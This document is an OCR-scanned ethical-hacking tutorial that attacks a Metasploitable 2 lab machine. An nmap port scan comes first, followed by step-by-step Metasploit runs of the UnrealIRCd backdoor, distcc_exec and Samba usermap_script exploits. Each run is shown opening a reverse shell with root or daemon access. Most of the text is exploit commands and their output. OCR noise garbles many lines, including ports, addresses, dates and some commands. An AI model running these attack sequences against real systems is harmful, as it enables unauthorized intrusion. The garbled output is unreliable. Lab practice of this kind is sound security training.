Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12-20=20:13 IST
Initiating ARP Ping Scan at 20:13
Scanning 192.168.217.136 [1 port]
Completed ARP Ping Scan at 20:13, 0.30s elapsed (1-total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:13
Completed Parallel DNS resolution of 1 host. at 20:13, 0.10s ‘elapsed
Initiating Connect Scan at 20:13
Scanning 192.168.217.136 [1000 ports]
Discovered open port 25/tcp on 192.168.217.136
Discovered open port 1ll/bep ony 192.168.217 436
Discovered open peort™3306/tcp on '192.168.217.136
Discovered open port 139/tcp on 192.168.217.136
' open port 53/tcp on 192.168.217.136
open port 23/tcp on 192.168.217.136
open port 22/tcp on 192.168.217.136
open port 5900/tcp on 192.168.217.136
open port 445/tcp on 192.168.217.136
open port 80/tcp on 192.168.217.136
open port 21/tcp on 192.168.217.136
open port 1524/tcp on 192.168.217.136

You can see many services running.Now i will choose an exploit UnreallRCD IRC
daemon.This version has backdoor and it is running on 6667 port.

Now search for this exploit

Usage : search unrealircd
mst = search unrealircd

Matching Modules

Disclosure Date

exploit/unix/irc/unreal ircd 3281 backdoor 2010-06-12 00:60:0@ UTC excellent Unreal
RCD 3.2.8.1 Backdoor Command Execution

You can see only one exploit is available and you can see that the rank is excellent.



Step 1: use exploit/unix/irc/unreal_ircd_3281_backdoor

Type 'show options' to view availabe options
Step 2: set RHOST 192.168.217.136(Metasploitable 2 ip address)

msf > use exploit/unix/irc/unreal ircd 3281 backdoor
msf exploit( ) > show options

Module options (exploit/unix/irc/unreal ircd 3281 backdoor):

Name Current Setting Required Description

RHOST The target address
RPORT 6667 yes The targetyport

Exploit target:

Id Name

@ Automatic Target

msf exploit( ) > set RHOST 192.168.217.136
RHOST => 192.168.217.136

> exploit

[¥] Started reverse doubhle handler

[*] Connected to 192.168.217.136:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up-yeur=hostname...
rirc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IH

address instead

[*] Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo CVeGAgpdsGEmiusp;

[*] Writing to socket A

[*] Writing to socket.B

[*] Reading from“sockets.l..

" s

{ : } E?d? é\qgﬁz;;ggég;iﬁzpﬁ An® You can see command shell has opend

[*] Matching...

[*] B is input... _ } )

*] Command shell session 1 opened (192.168.217.133:4444 -> 192,168.217.136:37448) at 2012

112-2@ 20:30:44 +0530

: You can see i exploited the system as root.




Exploit 2:

distcc_exec:This program makes it easy to scale large compiler jobs.You can know more
about this exploit in the below link.

http://metasploit.com/modules/exploit/unix/misc/distcc_exec
Step 1: use exploit/unix/misc/distcc_exec

msf > use exploit/unix/misc/distcc_exec

msf exploit( ) > show options

Module options (exploit/unix/misc/distcc exec):

Name  Current Setting Required Description

The target address
RPORT 3632 The target port

Exploit target:

Id Name

Automatic Target

msf exploit( ) > set RHOST 192.168.217.136
RHOST => 192.168.217.136

Step 2: Type 'exploit'
mst exploit(c ) > exploit

Started reverse double handler

Accepted the first client connection...

Accepted the second client connection...

Command: echo BF9qavlaby62R3I5;

Writing to socket A

Writing to socket B

Reading from sockets. e

Reading from“socket H Command shell has
B: "8F9gavloBy62R3I5S\r\n" opened
Matching... ﬁ

A - oo

{5, [ P Sl [ ey (St

Command shell session 2 opened (192.168.217.133:4444 -> 192,168,217,136:40527) at 201
-RO 20:48:06 +0530

D e e p— e p— e p— p— p— p— p—

(=]

whoam
sh: line 5: whoam: command not found
whoami
d=2emn

== exploited the system as
daemon



http://metasploit.com/modules/exploit/unix/misc/distcc_exec

Exploit 3:

usermap_script: This is a command execution vulnerability in samba version 3.0.20.You
can read more about in below link.

http://www.metasploit.com/modules/exploit/multi/samba/usermap_script

Step 1: use exploit/multi/samba/usermap_script

Name Disclosure Date Rank Description

exploit/multi/samba/usermap script 2007-065-14 00:00:00 UTC excellent Samba "usernar
map script" Command Execution

> use exploit/multi/samba/usermap script
exploit( ) > show options

Module options (exploit/multi/samba/usermap script):

Name Current Setting
RHOST yes target address
RPORT 139 VES target port

exploit( i )t) > set RHOST 192.168.217.136
RHOST == 192.168,217.136
msf exploit( t) > exploit

*

i T S S S S S S S R

Started reverse double handler
Accepted the first client connection...
Accepted the second client connection...
Command: echa MNS01nFRZBs7H46H;
Writing to socket A
Writing to socket B
Reading from sockets.p.
padin 0 \/CKet
Matching. ..

* *

X ¥ X %

% K ¥

'S

Command shell session 3 opened (192.168.217.133:4444 -> 192,168.2
20 21:00:42 +0530

| gy gy g— — o— | g— p— j— po— | po— | —_ sy

— %

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 18 13:58:00 UTC 2008 1686 GNU/Linu;

vhoami You can see i exploited as root and uname information has displayed.



http://www.metasploit.com/modules/exploit/multi/samba/usermap_script

Conclusion:

That's all | have on my mind for this document.l would warmly
welcome your feedback (either positive or negative).l need your suggestions
which would help me move further.Thanking you very much for reading this
document.Practise all the commands so as to gain confidence & command over
metasploit.Please do not violate any security rules and do not do any malicious
activity with these techniques(l hope u really would'nt).All techniques which |
have mentioned here were executed on my laptop.If you have any
queries,concerns please feel free to contact me(below given are my contact
details).Finally, | would like to conclude with an excellent quote:

" There is no security in life, only opportunity”.
- Mark Twain

About me: |, kaleem shaik , am working as an ASE(Assistant Systems Engineer) in
TCS.My areas of interest are 'Ethical hacking', 'Penetration Testing' and anything &
everything in relation with 'SECURITY".

Contact Details:

Name : Kaleem Shaik
Email : kaleemshaik786@hotmail.com

Thanks & Regards
- Kaleem Shaik



